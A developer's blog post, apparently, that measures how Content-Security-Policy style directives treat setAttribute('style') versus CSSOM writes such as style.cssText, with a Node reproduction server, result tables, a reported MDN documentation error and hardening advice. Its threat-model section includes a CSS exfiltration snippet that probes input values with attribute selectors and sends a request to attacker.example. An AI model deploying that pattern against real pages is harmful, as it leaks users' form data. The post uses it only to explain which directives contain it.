Why CSP Blocks setAttribute('style') but Not style.cssText
QA reported styling glitches in a component library that reproduced on the dev and staging deployments but never on a local dev server. The distinguishing factor turned out to be whether the environment sent a Content-Security-Policy header.
Under CSP, styles set with setAttribute('style', …) silently did not apply. Styles set with style.cssText — the same declarations, the same element — applied fine. The DOM inspector showed the attribute present on the element, and the page rendered as though it were not.
Reproducing it
A ten-line Node server is enough:
import http from 'node:http'
http.createServer((req, res) => {
res.setHeader('Content-Security-Policy', "style-src 'self'")
res.setHeader('Content-Type', 'text/html; charset=utf-8')
res.end(`<!DOCTYPE html>
<html><head><meta charset="utf-8"></head>
<body>
<div id="a">cssText</div>
<div id="b">setAttribute</div>
<script>
document.getElementById('a').style.cssText = 'color: rgb(0, 128, 0);'
document.getElementById('b').setAttribute('style', 'color: rgb(255, 0, 0);')
</script>
</body></html>`)
}).listen(3999)#a renders green. #b renders with the default colour, and the console logs a CSP violation. Both used JavaScript; only one was blocked.
The measured behaviour
Rather than reason about it, I measured five ways of setting a colour against four policies, reading back getComputedStyle(el).color in each case. All results below are from Chrome 151.0.7922.76, headless.
| Method | no CSP | style-src 'self' | style-src 'self'; style-src-attr 'none' | style-src 'self' 'unsafe-inline' |
|---|---|---|---|---|
HTML style="…" attribute | applied | blocked | blocked | applied |
el.setAttribute('style', …) | applied | blocked | blocked | applied |
el.style.cssText = … | applied | applied | applied | applied |
el.style.color = … | applied | applied | applied | applied |
el.style.setProperty(…) | applied | applied | applied | applied |
The third column does not isolate style-src-attr, because style-src 'self' already blocks attribute styles on its own. To test the directive by itself, permit inline styles at the style-src level and deny only the attribute level:
Content-Security-Policy: style-src 'self' 'unsafe-inline'; style-src-attr 'none'Result on the same build:
| Method | outcome |
|---|---|
HTML style="…" attribute | blocked |
el.setAttribute('style', …) | blocked |
el.style.cssText = … | applied |
el.style.color = … | applied |
el.style.setProperty(…) | applied |
So the line is clean, and it is not where a lot of documentation puts it:
CSP style directives govern the
stylecontent attribute. They do not govern the CSSOM.style.cssTextis CSSOM.
Note that MDN's style-src-attr page has listed document.querySelector("div").style.cssText = "display:none;" among the operations blocked by style-src-attr 'none'. It is not blocked, and it was not blocked in my testing under any of the four policies above. This has been reported in mdn/content#11697. If you are basing a security control on that sentence, measure it first.
Why the browser draws the line there
The mechanical explanation is that the two operations enter the style system through different doors.
el.style.cssText and el.style.color operate on the CSS Object Model. The element's CSSStyleDeclaration already exists; you are programmatically mutating a parsed style object. No attribute is parsed and no attribute is written.
// CSSOM: mutating a parsed style object
element.style.color = 'red'
element.style.cssText = 'color: red; font-size: 20px;'el.setAttribute('style', …) writes a content attribute. The browser must parse that string into a declaration block and map it into the CSSOM — the identical code path taken by <div style="…"> in markup. CSP's style directives hook that path.
// Content attribute: parsed as inline style, subject to CSP
element.setAttribute('style', 'color: red; font-size: 20px;')The security rationale follows from the threat model. CSP exists primarily to contain injection. The overwhelmingly common shape of a style-based injection is a string reaching innerHTML, insertAdjacentHTML, or a template that interpolates into an attribute position — all of which surface as attribute parsing. Blocking that path is cheap and closes a real hole.
Blocking CSSOM writes would buy little, because reaching element.style.color = … means script is already executing in the page. At that point an attacker can read document.cookie, rewrite location, or issue requests; forbidding them a colour change is not the marginal defence that matters. It would also break essentially every framework and animation library in existence — React, Vue, GSAP and Framer Motion all write element.style directly — for no security gain.
Is a CSSOM-only restriction pointless, then?
A reasonable objection: style.cssText can inject background: url(…) just as an attribute can, so what is the directive worth?
Two things are worth separating.
Modern browsers no longer execute script from CSS. IE 6/7 allowed expression() and javascript: URLs in stylesheets; that is long gone. The live CSS risk today is data exfiltration — using selectors to probe page content and trigger a network request that encodes what was found:
input[value^="a"] {
background: url(//attacker.example/a);
}The defence against that is not a style directive at all. It is img-src and connect-src, which constrain where any stylesheet — inline, external, or CSSOM-authored — is permitted to fetch from. Restricting how a style gets set does not help; restricting where it can reach does.
So style-src-attr is best understood as narrowly scoped: it closes the HTML-attribute injection vector and nothing more. Treating it as a general "no dynamic styles" switch will not hold, as the matrix above shows.
What to do under CSP
Prefer CSSOM. It is unaffected by every policy tested above:
element.style.color = 'red'
element.style.setProperty('font-size', '20px')
element.style.cssText = 'color: red; font-size: 20px;'Prefer class toggling where the styles are known ahead of time. This keeps declarations in a stylesheet that style-src 'self' already permits, and is what most frameworks do anyway:
element.classList.add('highlight')
element.classList.toggle('active')Do not reach for 'unsafe-inline' to make setAttribute work. It re-permits every inline style on the page, including injected ones, which is the exact hole the policy was closing. Nonces and hashes are not an alternative here: they apply to <style> elements, not to style attributes.
If you want attribute styles gone, deny them explicitly — but be aware from the matrix that CSSOM writes remain available, so this is a hardening measure against injection, not a way to freeze an element's appearance:
Content-Security-Policy: style-src 'self'; style-src-attr 'none'Summary
- CSP style directives govern the
stylecontent attribute; they do not govern CSSOM writes. setAttribute('style', …)is treated exactly like<div style="…">, because it takes the same parsing path.style.cssText,style.propandsetPropertyapply understyle-src 'self'and understyle-src-attr 'none'alike, verified on Chrome 151.- MDN's claim that
style-src-attr 'none'blockscssTextdoes not match observed behaviour — see mdn/content#11697. - CSS data exfiltration is contained by
img-srcandconnect-src, not by style directives.
References
你要请我喝一杯奶茶?
版权声明:自由转载-非商用-保持署名和原文链接。
本站文章均为本人原创,参考文章我都会在文中进行声明,也请您转载时附上署名。
